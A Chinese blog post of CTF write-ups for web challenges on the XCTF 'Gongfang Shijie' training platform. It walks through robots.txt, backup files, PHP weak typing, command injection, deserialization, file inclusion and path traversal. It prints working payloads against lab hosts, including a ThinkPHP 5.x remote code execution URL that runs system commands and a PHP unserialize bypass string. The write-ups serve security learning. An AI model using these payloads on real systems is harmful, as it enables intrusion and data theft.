Ttoc's blog

必须从过去的错误学习教训,而非依赖过去的成功。

0%

攻防世界靶场wp

这个线上靶场感觉很适合入门,而且难度分布也好,很优秀的线上靶场,非常值得仔细学习研究一下

...功防世界突然改版了,把题弄成一堆了,不过还是有难度系数,不过也方便看看有哪些适合难度的题目做一做

Web新手

1.view_source

1)题目描述

X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了

2)wp

右键不管用,直接用F12查看

得到flag

2.robots

1)题目描述

X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧

2)wp

不清楚robots协议是什么,于是我百度了一下,

robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取

也就是说网站下有一个robots.txt文件,规定了页面抓取规则,于是我们尝试访问http://111.200.241.244:54251/robots.txt

界面显示如下

image-20220621223828917

disallow就是不允许抓取的页面,看到flag,就知道我们就要访问这个文件,于是访问http://111.200.241.244:54251/f1ag_1s_h3re.php

得到flag

3.backup

1)题目描述

X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

2)wp

看到找文件,首先我就想用dirsearch扫一扫

打开靶场先看到

image-20220621224315003

于是我先扫一扫,看一看有没有 index.php文件的文件名

image-20220621224424076

扫完后发现index.php.bak文件,很明显它就是备份文件,我们尝试直接访问它一下http://111.200.241.244:52824/index.php.bak

自动下载好了index.php.bak,用文本打开

得到flag

1)题目描述

X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:这是夹心饼干的意思吗?

2)wp

我的日常随记第一章大概讲了cookie的作用和含义,该题可以不了解也可以完成

目前我看cookie的有两个方法,一个是burpsuite抓包看,另一个就是用火狐插件Tamper Data,这里我用brup

我们先用burpsuite抓一个包看看

image-20220621225826671

发现cookie处提示有个cookie.php文件,访问http://111.200.241.244:49599/cookie.php看看,如下

image-20220621225920306

于是我们把抓包数据发到repeater里看看response

得到flag

5.disabled_button

1)题目描述

X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

2)wp

该题说按这个按钮不能按,那么为什么不能按,看看源码

image-20220621230709669

看到有个disabled,就是它使得按钮无法被按,所以删去就可以

打开开发者工具,在查看器里面,把disabled语句删去

按钮就可以按了,点击

得到flag

6.weak_auth

1)题目描述

小宁写了一个登陆验证页面,随手就设了一个密码。

2)wp

开始我们先随便输入用户名和密码,弹窗显示

image-20220623115614924

于是我们知道用户名是 admin,但是密码不知道,只知道是随手输入的,我们试试burp抓包看看有没有提示

在response里看到

image-20220623115811366

这里我们就知道要用burp的密码爆破,具体操作就不细讲,随记有写

这是部分密码txt的网站,可以下载使用,针对不同环境,用不同密码文本

https://www.somd5.com/download/dict/

最后爆出密码123456,以用户 admin输入登录

得到flag

7.simple_php

1)题目描述

小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

2)wp

先进行代码分析

1
2
3
4
5
6
7
8
9
10
11
<?php 
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){ echo $flag1;
} if(is_numeric($b)){
exit(); }
if($b>1234){
echo $flag2; }
?>

可以看到flag被分成了两个部分,一个flag1,一个 flag2

a,b两个变量以get型输入

第一个if要求a==0且a为ture,这明显矛盾,当a=0就代表a为false

所以这里涉及了php性质,php属于一门弱类型语言

弱类型:不必向 PHP 声明该变量的数据类型,PHP 会根据变量的值,自动把变量转换为正确的数据类型

所以当在第一个if判断a的值时,a可以利用弱类型性质,a=0A,当进行a==0判断时,会自动把a当作数字型,也就是把a=0A后的A去掉,从而成立;

而当判断a是否为ture时,由于a=0A而非0,所以结果为ture,输出flag1

这里思考一下,如果是 if( $a===0 and $a ){ echo $flag1; },那按上面对a赋值还可以吗?

这里涉及php类型比较==与===的区别

  • 松散比较:使用两个等号 == 比较,只比较值,不比较类型。
  • 严格比较:用三个等号 === 比较,除了比较值,也比较类型。

上面代码中==对类型不比较,所以a=0A与0比较时,可当作a=0与0比较

但是当为===时,a=0A不属于数字型,所以当if(a===0)返回false,从而返回false

第二个if看到,is_numeric($b),这里要了解一下is_numereic()函数的作用

is_numeric()函数:用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE

也就是说b的值不能为数字和数字串,但是第三个if要求b>1234,所以b要为数字

这个和a一样,利用了php的弱类型性质,既然不能为数字,那b=1235B,这样当b与1234比较时,b转化为数字型,去掉B,1235>1234成立,输出flag2

于是payload为

http://111.200.241.244:51156/?a=0A&b=1235B

得到flag

8.get_post

1)题目描述

X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?

2)wp

Get和Post方式是HTTP通常使用两种请求方法

Get方式直接在url输入?a=1

http://111.200.241.244:52081/?a=1

Post方式利用火狐插件HackerBar以post方式b=2

run

image-20220624164728734

得到flag

9.xff_referer

1)题目描述

X老师告诉小宁其实xff和referer是可以伪造的

2)wp

先了解什么是xxf和referer

(1)X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。xff是http的拓展头部,作用是使Web服务器获取访问用户的IP真实地址(可伪造)。由于很多用户通过代理服务器进行访问,服务器只能获取代理服务器的IP地址,而xff的作用在于记录用户的真实IP,以及代理服务器的IP。格式为:X-Forwarded-For: 本机IP, 代理1IP, 代理2IP, 代理2IP

(2)HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。referer 是http的拓展头部,作用是记录当前请求页面的来源页面的地址。服务器使用referer确认访问来源,如果referer内容不符合要求,服务器可以拦截或者重定向请求。

抓包后,发现并没有X-Forwarded-For和Referer,加上即可

image-20220624173529705

看题界面,提示ip必须为123.123.123.123,于是在抓包数据里加上

X-Forwarded-For: 123.123.123.123

image-20220624174546646

send数据后,发现response里出现以下数据,也就是说还有声明是从谷歌界面过来的

image-20220624173805175

也就是还要加上

Referer: https://www.google.com

最后如下

image-20220624174117936

send到response后

得到 flag

10.webshell

1)题目描述

小宁百度了php一句话,觉着很有意思,并且把它放在index.php里

2)wp

看到这句代码我一下想到一句话木马,标题webshell也提示这个木马题,根据描述我们知道这个木马在index.php里

不了解的可以看看这篇文章

php一句话木马

image-20220624210259387

用蚁剑连接即可,这里对蚁剑使用方法不赘述,建议自己操作学习

得到flag

11.command_execution

1)题目描述

小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

2)wp

根据题目名知道这是命令执行漏洞的题,可以先了解一下命令执行的知识

先用自己的IP试一下

120.0.0.1

image-20220624213448262

得到以下数据,由此可知我们上传的命令是ping -c 3 + 输入的语句,所以需要用到管道符

此处不止可以用 |,了解了其他管道符的作用,也可以达到相同的效果

image-20220624215127339

在利用管道符,在当前目录及其子目录查找有没有名为flag.txt的文件

120.0.0.1 | find / -name flag.txt

image-20220624215415187

得到flag.txt的位置的绝对路径

输出打印flag,txt

120.0.0.1 | cat /home/flag.txt

得到flag

12.simple_js

1)题目描述

小宁发现了一个网页,但却一直输不对密码。

(Flag格式为 Cyberpeace{xxxxxxxxx} )

2)wp

该题涉及代码审计,看起有点难度,但说实话大部分内容与代码审计无关,但可以分析一下

开始界面弹窗输入密码

image-20220624221241740

输入错误,提示FAUX PASSWORD HAHA

image-20220624221310762

我们F12把它源码拿出来分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');
var i,j,k,l=0,m,n,o,p = "";
i = 0;
j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ )
{o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ )
{
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

</script>
</head>
</html>

我们看到开头一大串代码先不着急,挨个分析

最显眼的就是这串16进制码

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

我们可以先用python 直接输出,得到10进制

image-20220624223640446

这里我们把这串10进制数按ascii码转化为字符串

786OsErtk12

按描述填写

得到flag : Cyberpeace{786OsErtk12}


我对代码审计还不太熟悉,下面引用一篇大佬的代码审计

https://blog.csdn.net/qq_41617034/article/details/91490695

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
执行流程:
一、首先定义了一个dechiffre函数,咱先不管,因为还没有调用
注:先将\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30十六进制数转换成字符串,pythonprint即可,或网址:https://www.bejson.com/convert/ox2str/
输出结果55,56,54,79,115,69,114,116,107,49,50

二、执行String["fromCharCode"](dechiffre("55,56,54,79,115,69,114,116,107,49,50
"));

三、调用了dechiffre,执行dechiffre函数
String["fromCharCode"](dechiffre("55,56,54,79,115,69,114,116,107,49,50
"));
(1)先将"55,56,54,79,115,69,114,116,107,49,50
"带入dechiffre函数执行,即dechiffre(pass_enc)=dechiffre("55,56,54,79,115,69,114,116,107,49,50
")

(2)接着我们看到了pass变量,暂时先放着

(3)因为pass_enc="55,56,54,79,115,69,114,116,107,49,50"
pass_enc字符串分割成字符串数组,赋值给tab参数,所以:
tab=[55,56,54,79,115,69,114,116,107,49,50] 注:tab此时是字符串数组!!!

(3)随后也对pass分割
tab2=[70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65]

(4)变量赋值代码分析:var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
一开始i,j,k,m,n,o,没有赋值,为undefined,其它参数l=0p="",后来i被赋值=0j被赋值为11

(5)第九行此时n被赋值为0,所以k=11+0+0,最后等于11 注:这里的(l)其中是英文字母l,不是数字1

(6)第十行中,n=18

(7)第一个for循环,精简一下代码:
for(i = 0; i < (18); i++ )
{o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
解释:前面的o=tab[i-1]是无用的,因为后面会被o=tab2[i]的值重新覆盖
第一次循环:o=tab[0];p=p+String.fromCharCode((o = tab2[0])
=>o=70;p=""+String.fromCharCode(70)=>p=英文字母F
第二次...
第三次...
第四次...
第五次...
所以,这个for循环,最后的p为(尽管没有输出出来,这里我们知道就好)FAUX P

(8)第二个for循环,精简一下代码:
for(i = 0; i < 18; i++ ){
o = tab[i-l];
if(i > 5 && i < 17)
p += String.fromCharCode((o = tab2[i]));
}
解释:这里的for循环和上面的差不多,注意这里的p值由于第一次for循环执行后现在已经是FAUX P
加上第一次for循环的p值,最后的pFAUX PASSWORD HAH

(9)p += String.fromCharCode(tab2[17]);
因为tab2=[70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65]
所以:p=FAUX PASSWORD HAH + A
因此,最后的pFAUX PASSWORD HAHA

(10)pass = p;return pass;
pass = FAUX PASSWORD HAHA;return FAUX PASSWORD HAHA;
最后函数输出为FAUX PASSWORD HAHA

嗯哼???这个函数就执行完了???我的tab数组怎么没有用到???,我一开始带进来的参数呢?去哪了?别想了,输出值虽然用到了带进来的参数(就是分割后的tab数组),但是for循环那里人家直接使用tab2数组相关代码的值,根本没有用到tab数组的值,所以由于代码逻辑问题,你传入的dechiffre的参数pass_enc是没有任何意义的

三、dechiffre函数执行完成后,继续执行其它的代码
h = window.prompt('Enter password');
alert( dechiffre(h) );
h=你输入弹框内的内容
之后alert弹出dechiffre(h)的值,由前面所有的代码可知,代码里p的值与tab无关,因为最终都会被tab2的值替代,所以我们无论输入什么,也就是pass_enc=h,无论输入的这个h等于什么,不管tab能否被分割成字符串数组,是否存在,都只会利用到tab2。通俗点讲,有关tab的参数与值都可以视为没有,因此,pass_enc参数是什么也就没有意义了

四、最后,结论就是,无论我们在弹框中输入什么值,都只会返回FAUX PASSWORD HAHA
我就猜想,会不会String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));这个语法错误,并且没有没计算出来的是不是最后正确的值,也就是flag~
于是,我不用它这么无论pass_enc参数输入什么都显示FAUX PASSWORD HAHA的函数,咱也抛弃它一回,自己重新写代码执行它
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<script>
var n=String.fromCharCode(55,56,54,79,115,69,114,116,107,49,50);
document.write(n);
</script>
</body>
</html>
最后结果为:786OsErtk12
根据提示的flag格式输入最后的flag

注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(1)split() 方法用于把一个字符串分割成字符串数组
语法:string.split(separator,limit)
参数 描述
separator 可选。字符串或正则表达式,从该参数指定的地方分割 string Object。比如此题以逗号分割成字符串数组
limit 可选。该参数可指定返回的数组的最大长度。如果设置了该参数,返回的子串不会多于这个参数指定的数组。如果没有设置该参数,整个字符串都会被分割,不考虑它的长度。
举例:str="a,b,c,d,e,f,g";
var 1st = str.split(",",3); 对str以逗号进行分割,分割后的字符串数组内的值最多只能有3个,结果就是1st = [a,b,c]

(2)for 循环的语法如下:
for (语句 1; 语句 2; 语句 3) {
要执行的代码块
}
语句 1 在循环(代码块)开始之前执行。
语句 2 定义运行循环(代码块)的条件。
语句 3 会在循环(代码块)每次被执行后执行。

(3)fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。
语法:String.fromCharCode(n1, n2, ..., nX)
参数 描述
n1, n2, ..., nX 必需。一个或多个 Unicode 值,即要创建的字符串中的字符的 Unicode 编码。

(4)prompt()方法用于显示可提示用户进行输入的对话框。
这个方法返回用户输入的字符串
语法:prompt(msg,defaultText)
参数 描述
msg 可选。要在对话框中显示的纯文本(而不是 HTML 格式的文本)就是弹框显示文本。
defaultText 可选。默认的输入文本,你输入什么弹框一开始出现里面的输入框就会默认显示你这个文本。

(5)var i,j,k,l=0,m,n,o,p = "";
这个表示声明变量i,j,k,l,m,n,o,p,只有l和p两个变量被赋值了,其它的变量都是不带值的,不带有值的变量,它的值将是undefined,后续代码中可以给它赋值。

(6)length
length 属性可设置或返回数组中元素的数目。

Web进阶

1.baby_web

1)题目描述

想想初始页面是哪个

2)wp

开始界面如下

image-20220625162533345

没有头绪,但是描述里有首页,再根据url知道这是个php网站

php网站首页文件就是index.php

index.php文件是一个php网站首页文件,index是普遍意义上的“首页”,也就是你输入一个域名后会打开一个页面,基本上就是index.xxxx(基本上首页都不会把index.xxxx显示在url里,但也不绝对)

试试111.200.241.244:59074/index.php

结果又会到1.php,url又变成111.200.241.244:59074/1.php

F12打开查看网络

image-20220625171731934

补充:

index.php的状态是302什么意思?

302 Found,原始描述短语为 Moved Temporarily(临时搬家) ,是[HTTP协议](https://baike.baidu.com/item/HTTP协议)中的一个状态码(Status Code)。可以简单的理解为该资源原本确实存在,但已经被**临时**改变了位置;换而言之,就是请求的资源暂时驻留在不同的URI下,故而除非特别指定了缓存头部指示,该状态码不可缓存。

发现确实是跳转到了index.php但为什么又回到1.php

image-20220625171819943

可以看到location:1.php,这就是为什么无法直接访问index.php的原因,但flag已经得到

得到flag


如果用burpsuite查看111.200.241.244:59074/index.php,只能看到Flag is hidden!,也算是提示

image-20220625172122211

2.ics-06

1)题目描述

云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

2)wp

打开界面有些吓人

image-20220626084029917

但只有报表中心能打开

image-20220626084102777

看到url就有思路了,我们可以尝试id爆破

image-20220626084318243

利用Numbers方式,从1到5000,发现2333处成功爆破

得到flag

3.Training-WWW-Robots

1)题目描述

2)wp

这道题和上面新手区的题类似

先访问http://111.200.241.244:51820/robots.txt得到php文件名

image-20220626090904204

于是访问http://111.200.241.244:51820/fl0g.php/robots.txt

得到flag

4.PHP2

1)题目描述

2)wp

这句话的意思是”你能证明这个网站存在吗“

image-20220626104943938

没有思路,抓包,和御剑、dirsearch都没又得到想要的结果

没有办法,搜了一下大佬们的wp

了解到了一个新的知识点phps

phps即为PHP Source:phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。

访问http://111.200.241.244:51703/index.phps,得到源码内容

image-20220626105416606

右键查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

根据代码知道,当id=admin,输出not allowed!,但是想要输出flag

就需要注意这句语句$_GET[id] = urldecode($_GET[id]);

urldecode:本函数对字符串进行URL解码。例如通过urlencode编码后的字符串,可通过UrlDecode进行解码。对Url路径加码的函数是UrlEncode 用法相反,和UrlDecode是一致对应的

这里我们就清楚了,需要把admin进行url编码,但是只对其进行一次编码,要知道网站本身对url编码就有解码的能力,也就是在urldecode函数执行之前,网站已经把编码解码为admin,从而只输出not allowed!

所以,这里需要对admin进行两次编码,第一被网站解码,绕过第一个if,然后在urldecode函数里进行第二次解码,变成admin,从而输出Key(flag)

于是访问http://111.200.241.244:51703/index.php?id=%25%36%31dmin

这里的%25%36%31是字母a的二次url编码由a第一次编码结果%61再次编码而成

–为了payload简洁,一般只编码一个字母

image-20220626110642311

得到flag

5.Web_python_template_injection

该题属于ssti,建议先了解一些ssti的模板注入,和这两篇文章了解一些flask运行原理

https://www.freebuf.com/column/187845.html

https://xz.aliyun.com/t/3679

然后再做这道题

大佬wp

6.Web_php_unserialize

1)题目描述

2)wp

看名字可知,这是道php反序列化类型的题

开始先分析一下php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

php代码审计原文链接

首先定义了Demo类,在类中定义了几个方法construct()wakeup()destruct()。在这里我们要知道,

php中类实例化的时候,首先运行wakeup()函数

序列化时先运行sleep()函数,

反序列化时先运行wakeup()

脚本结束调用destruct()函数

继续审计代码,下面的if语句中,先用了base64的解码函数,进行了一次解码,又用一个正则表达式进行过滤,只有base64编码并通过正则表示式才能进行反序列化

image-20231004231043515

这里的正则表达式’/[oc]:\d+:/i’ 表示了以O或者C开头接:接数字,数字至少出现一次或者无数次,忽略大小写,所以我们将O:4改为O:+4则可通过正则表达式,因为在PHP代码里,+4就是4,所以绕过了正则匹配同时也不影响代码正常含义

这里看到了fl4g.php,先把它实例化,这里改一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo("fl4g.php");

//这里我就在想,如果这个实例化的时候()不加参数,那么最后序列化的结构只能是index.php,也就是源码中的,但是我们的目标是fl4g.php这个文件
//这里其实只需要在实例化类中,传入我们需要序列化的参数即可
//这里相当于给$flie赋值,如果类中多个值需要变成我们需要的参数,用","隔开即可,按赋值顺序,例如$a = new Demo("a",2,"b");

echo (serialize($a));
?>

运行PHP代码

得到O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

这里看到有一个__wakeup,所以还要改一下属性值1为2

–>

O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

注意:这里有一个大坑让我卡了好久

先看下面这个图理解一下上面的语句

image-20231004231058765

属性值为10,但是”Demofile“只有8个字符,很明显缺了两个字符,但是却被省略了,猜测确了两个空字符

1
2
3
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

所以也可以推测出Demofile是private声明

这里我一直卡住的原因就是把空字符当作了空格

所以开始我是直接在D和f前加上空格,但是底下的base64编码提交url没有反应

image-20220628214059503

然后把decoder换成hex,发现空格是20(44是字母D,66是字母f)

image-20220628233504338

然后看了下面这个表,明白00才是空字符,空格和空字符不是同一个东西

image-20220628213218629

但是空字符无法复制,在复制时,空字符后的字符串会被截断,只复制了空字符前面的字符串

所以这里可以在hex里直接改,把20改成00

image-20220628233851825

然后下方的base64编码就可以了

访问

http://111.200.241.244:50547/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到flag

7.php_rce

1)题目描述

2)wp

开始界面如下

image-20220630174402928

(看到thinkphp我就想起今年国赛也有一道think PHP的题,爆0,麻了)

这里可以先了解一下什么是rce和该漏洞的成因

如果这里版本的thinkphp存在rce的漏洞,就可以通过指令获取flag

百度可知

ThinkPHP 5.0<5.0.23&5.1<5.1.31版本在没有开启强制路由的情况下可能存在远程代码执行漏洞。攻击者通过该漏洞可能完全控制Web服务器。

然后在Github上搜thinkphp得到payload

image-20220630174951670

尝试http://111.200.241.244:51053/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

了解到最后的id处为命令执行语句输入处,用 find语句查看有没有flag文件

http://111.200.241.244:57210/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag*

image-20220630175318946

得到的结果很乱,用F12整洁一些

最后行,看到flag文件夹

image-20220630175432667

用cat显示出来

http://111.200.241.244:57210/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

得到flag

8.Web_php_include

1)题目描述

2)wp

这道题先了解php伪协议

看名字很清楚是到文件包含的题目

1
2
3
4
5
6
7
8
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) { $page=str_replace("php://", "", $page);
}
include($page);
?>

先分析一下函数

strstr():
定义和用法:
搜索字符串在另一个字符串中是否存在,如果是,返回字符串及剩余部分,否则返回false。
区分大小写,stristr()函数不区分大小写
语法:
strstr(string,search,before_search)
string:必需,被搜索的字符串
search:必需,要搜索的字符串,若是数字,则搜索对应的ASCII值的字符
before_search:可选,默认为“false”,若为true,将返回search参数第一次出现之前的字符串部分

str_replace():
定义和用法:
以其它字符替换字符串中的一些字符(区分大小写)
语法:
str_replace(find,replace,string,count)
find,必需,要查找的值
replace,必需,要替换的值
string,必需,被搜索的字符串
count,可选,替换次数

也就是说,如果page=的内容里有php://就会被替换为空,也就是过滤

但是看源码我们知道,它只过滤了小写,所以可以用大小写绕过,这里用的php://input

*这道题好像包括php://input,有5种方法,建议看看这篇文章Web_php_include总结五种解法大同小异

http://111.200.241.244:59492/?page=PHP://input

php://input读取POST数据, 我先用hackbar,发现没有反应

image-20220626215410026

看了一篇大佬的wp,说是被过滤了,所以不行

但这里可以用burp试试,得到flag文件名

fl4gisisish3r3.php

image-20220626222916776

显示fl4gisisish3r3.php内容

image-20220626223253399

得到flag

9.supersqli

1)题目描述

随便注

2)wp

这道题之前在buuctf上做过,考察堆叠注入,wp可以在buuctf-wp看一下

10.warmup

1)题目描述

2)wp

开始就只有一张图片,先看一下它源码

image-20220703104834305

看到有一个source.php文件

访问http://111.200.241.244:59132/source.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 <?php
highlight_file(__FILE__);
//__FILE__常量返回文件的完整路径和文件名,高亮显示
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//白名单
if (! isset($page) || !is_string($page)) {
//如果不存在(isset())或者不为字符串(is_string())
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
//如果在白名单里
return true;
}

$_page = mb_substr(
$page,//要截取的字符串
0,//起始位置
mb_strpos($page . '?', '?')//截取长度
//返回?在$page.?字符串中出现的位置
);
if (in_array($_page, $whitelist)) {
//如果在白名单里
return true;
}

$_page = urldecode($page);//解码
$_page = mb_substr(
$_page,//要截取的字符串
0,//起始位置
mb_strpos($_page . '?', '?')//截取长度
//返回?在$_page字符串中第一次出现的位置
);
if (in_array($_page, $whitelist)) {
//如果在白名单里
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
//如果传的参数不是空的,并且是字符串,调用checkFile函数返回为true
include $_REQUEST['file'];
//对传来的参数进行包含
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
//否则就输出图片
}
?>

没有flag的线索,但看到一个hint.php文件

访问http://111.200.241.244:59132/hint.php

image-20220703105453437

知道了flag在ffffllllaaaagggg文件里

然后开始分析source.php代码(可以看看源码注释)

分析:

我们可以看到,关键在于 checkfile 函数,要让它返回为ture才能够实现文件包含,我们能控制的变量是file,page变量实际是file变量的形参,由checkfile函数传过去,也就是file变量要满足所有的if条件,才能返回ture而不是只显示图片

先分析checkfile函数里的四个if条件满足要求,避免执行return false

第一个if

1
2
3
4
5
if (! isset($page) || !is_string($page)) {
//如果不存在(isset())或者不为字符串(is_string())
echo "you can't see it";
return false;
}

因为语句里存在return false,所以要传入的变量page存在且为字符串,使得if语句为假,就不会执行return false,这个本身就满足,所以可以不考虑

第二个if

1
2
3
4
if (in_array($page, $whitelist)) {
//如果在白名单里
return true;
}

要我们传入的参数是source.php或者hint.php,满足whitelist(白名单),如果还不满足继续往下判断,满足就跳出checkfile函数

第三个if,结合其前面代码

1
2
3
4
5
6
7
8
9
10
$_page = mb_substr(
$page,//要截取的字符串
0,//起始位置
mb_strpos($page . '?', '?')//截取长度
//返回?在$page.?字符串中出现的位置
);
if (in_array($_page, $whitelist)) {
//如果在白名单里
return true;
}

取传入page参数首次出现?前的部分,再进行白名单判断,即是否存在source.php或者hint.php,如果还不满足继续往下判断,满足就跳出checkfile函数

第四个if

1
2
3
4
5
6
7
8
9
10
11
$_page = urldecode($page);//解码
$_page = mb_substr(
$_page,//要截取的字符串
0,//起始位置
mb_strpos($_page . '?', '?')//截取长度
//返回?在$_page字符串中第一次出现的位置
);
if (in_array($_page, $whitelist)) {
//如果在白名单里
return true;
}

先把参数进行url解码,然后和第三个if一样,取传入page参数首次出现?前的部分,再进行白名单判断,即是否存在source.php或者hint.php,如果还不满足继续往下判断,满足就跳出checkfile函数


至于

1
2
3
4
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {

只要file不为空,且为字符串即可,可以满足不考虑

所以只有下面两种

http://111.200.241.244:59132/source.php?file=source.php?(payload)

http://111.200.241.244:59132/source.php?file=hint.php?(payload)

由PHP4-7的include函数的特性

在这里插入图片描述

在payload上加上/../../../../../../ffffllllaaaagggg,这里可只加四层../即可,但也可以加多个返回上个目录,也可以依次试试

得到flag

补充

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
实例
从字符串中返回 "菜鸟"
<?php
echo mb_substr("菜鸟教程", 0, 2);
// 输出:菜鸟
?>
----------------
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
mb_strpos (haystack ,needle )
haystack:要被检查的字符串。
needle:要搜索的字符串。
----------------
in_array函数功能检查数组中是否存在某个值

11.NewsCenter

1)题目描述

2)wp

该题考查的是SQL注入,如果不清楚开始看到输入框,就应该试试各种方式,分析存在什么漏洞,比如xss或sql等等

